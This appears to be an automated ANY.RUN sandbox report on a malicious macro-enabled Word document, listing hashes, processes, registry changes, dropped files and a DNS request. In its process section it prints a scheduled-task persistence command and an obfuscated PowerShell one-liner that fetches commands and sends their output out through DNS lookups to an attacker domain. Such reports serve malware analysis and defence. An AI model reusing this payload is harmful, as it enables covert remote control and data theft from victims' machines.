File name:

a3ae8972e68a86067afcf60c88240a19b0d6419bc55f0a56d39ee58ea88410ae

Full analysis: https://app.any.run/tasks/a78bfb65-1af5-4a55-869e-8e0df5d59c31
Verdict: Malicious activity
Analysis date: February 11, 2019, 09:35:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

3346698F95929B5FF3AEE454E400C427

SHA1:

5B5FAEB145D572EA07B2A0D7740CE8E010A3072D

SHA256:

A3AE8972E68A86067AFCF60C88240A19B0D6419BC55F0A56D39EE58EA88410AE

SSDEEP:

12288:o2NVJRBKwEwB9s6Lv4ixxZULLYvk28tAad12+Z6JcD9bZ0450YgX5hXBChnxv2rS:lJRBCwbD4i5UosHR2+ZtR9F50N5hXUh/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2976)

    • Uses Task Scheduler to run other applications

      • WINWORD.EXE (PID: 2976)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2528)

  • SUSPICIOUS

    • Executes PowerShell scripts

      • WScript.exe (PID: 2280)

    • Creates files in the user directory

      • powershell.exe (PID: 3388)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2976)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x3f450766
ZipCompressedSize: 399
ZipUncompressedSize: 1503
ZipFileName: [Content_Types].xml

XML

Template: Normal
TotalEditTime: 3 minutes
Pages: 3
Words: 910
Characters: 5188
Application: Microsoft Office Word
DocSecurity: None
Lines: 43
Paragraphs: 12
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 6086
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: Windows User
RevisionNumber: 4
CreateDate: 2019:02:04 08:36:00Z
ModifyDate: 2019:02:04 11:46:00Z

XMP

Title: -
Subject: -
Creator: Windows User
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
4
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs schtasks.exe no specs wscript.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2280C:\Windows\System32\WScript.exe "c:\users\public\temporyfile.vbs"C:\Windows\System32\WScript.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2528schtasks /create /sc minute /mo 1 /tn GppgleTaskUpdate /tr c:\users\public\temporyfile.vbsC:\Windows\system32\schtasks.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2976"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\a3ae8972e68a86067afcf60c88240a19b0d6419bc55f0a56d39ee58ea88410ae.docm"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3388"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -command function HgX($oCE,$Kls,$vPd){([System.Net.Dns]::GetHostAddresses((((-join((65..90)+(97..122)|Get-Random -Count 5|%{[char]$_}))+(RKW $Kls)+(RKW('g2970'))+$vPd+$oCE+'.microsoft-check.com')))|Select-Object 'IPAddressToString').IPAddressToString} function RKW($tdE){for($FIQ=0;$FIQ-lt$tdE.length;$FIQ++){$WXT='{0:X}'-f([int]$tdE[$FIQ]);$hEv+=$WXT}return $hEv} $oCE=(HgX '' 'q' '');if(($oCE.split('.')[0])-eq92){$Kls='';$vPd=100;$npQ='';for($dkp=1;$dkp-le($oCE.split('.')[1]);$dkp++){$QGx='';while($QGx-eq''){$QGx=(HgX '' 'h' (RKW([string]$vPd)))}$Kls+=$QGx+'.';$vPd+=1};foreach($qoI in $Kls.Split('.')){$npQ+=[char][int]$qoI}[string]$Wvk=(cmd /c($npQ-replace'%',' ')) [int]$QYl=$Wvk.length/10;$Saj=0;$WtL=0;$IBW=New-Object System.Collections.ArrayList;for($syg=0;$syg-le$QYl;$syg++){$Saj+=10;$wva='';foreach($MLa in $Wvk[$WtL..$Saj]){$wva+=$MLa}$WtL=$Saj+1;$IBW.Add($wva)}$lAU=100;HgX $IBW.Count 'c' '';foreach($qdg in $IBW){$lAU+=1;HgX(RKW([Convert]::ToBase64String(([System.Text.Encoding]::UTF8.GetBytes($qdg)))))'r'(RKW([string]$lAU))}HgX '' 'f' ''} C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 534
Read events
859
Write events
668
Delete events
7

Modification events

(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:31%
Value:
33312500A00B0000010000000000000000000000
(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2976) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1313538078
(PID) Process:(2976) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1313538192
(PID) Process:(2976) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1313538193
(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
A00B0000E2DA2939EDC1D40100000000
(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:4%
Value:
7F342500A00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:4%
Value:
7F342500A00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2976) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
0
Suspicious files
2
Text files
4
Unknown types
4

Dropped files

PID
Process
Filename
Type
2976WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8D04.tmp.cvr —
MD5:—
SHA256:—
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NKSHXHILQ1QR90WY22MX.temp —
MD5:—
SHA256:—
2976WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1a4bfe.TMPbinary
MD5:—
SHA256:—
2976WINWORD.EXEC:\users\public\temporyfile.vbstext
MD5:—
SHA256:—
2976WINWORD.EXEC:\Users\admin\Desktop\~$ae8972e68a86067afcf60c88240a19b0d6419bc55f0a56d39ee58ea88410ae.docmpgc
MD5:—
SHA256:—
2976WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\a3ae8972e68a86067afcf60c88240a19b0d6419bc55f0a56d39ee58ea88410ae.docm.LNKlnk
MD5:—
SHA256:—
2976WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:—
SHA256:—
3388powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
2976WINWORD.EXEC:\users\public\temporyfile.tmptext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
PLekd716732393730.microsoft-check.com
  • —
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
a3ae8972e68a86067afcf60c88240a19b0d6419bc55f0a56d39ee58ea88410ae